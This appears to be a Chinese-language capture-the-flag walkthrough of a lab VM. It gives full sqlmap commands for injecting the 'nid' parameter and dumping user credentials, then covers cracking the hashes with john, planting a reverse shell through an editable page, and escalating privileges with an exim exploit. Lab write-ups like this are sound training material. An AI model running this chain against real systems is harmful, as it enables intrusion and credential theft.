先nmap一下:
发现开放了22端口的ssh服务和80端口的http服务。还是从http服务入手,使用浏览器打开网站,可以发现在点击页面左边的details下的三个内容的时候,url中的nid参数会变化,所以考虑sql注入的存在
输入url:
确认存在sql注入,且返回的错误信息直接爆出了sql语句:
接下来使用sqlmap进行sql注入
先获取数据库名:sqlmap -u http://192.168.190.156/?nid=1 --dbs
确定现在正在使用的数据库:sqlmap -u http://192.168.190.156/?nid=1 --current-db
爆破d7db数据库中有哪些表:sqlmap -u http://192.168.190.156/?nid=1 --tables -D "d7db"
因为结果太长了就不截图展示了,但是其中引起注意的是users表。
爆破users表中的内容:sqlmap -u http://192.168.190.156/?nid=1 --columns -T "users" -D "d7db"
其中name和pass是我们想要的:sqlmap -u http://192.168.190.156/?nid=1 --dump -C "name,pass" -T "users" -D "d7db"
将获取的用户名和密码写入pass.txt:
然后使用john破解:john pass.txt
获得用户名和密码:john-turtle,并登陆网站成功。进入网站后我们找到了find content模块,其中有之前我们看到的details下的三个网页,并且contact us可以编辑:
那么可以通过编辑contact us来植入反弹shell:
同时本地开启9999端口的监听,submit以后就可以获得shell了:
使用find查找具有suid的root的文件:
kali本地searchsploit exim 发现存在本地提权漏洞,那么就使用这个漏洞进行提权
脚本中有指导我们提权步骤:
可能需要修改下脚本格式(如果在命令模式下输入:set ff?显示如下):
命令模式下输入:set ff=unix 再保存即可。
那么首先kali端开放监听端口,让靶机下载脚本:
记得切换到当前用户可写可执行目录下:
修改脚本权限:
按照脚本的指示执行脚本并提权成功:
获取flag:
结束。
参考:
https://blog.csdn.net/weixin_43583637/article/details/102828013
https://www.pianshen.com/article/19371206483/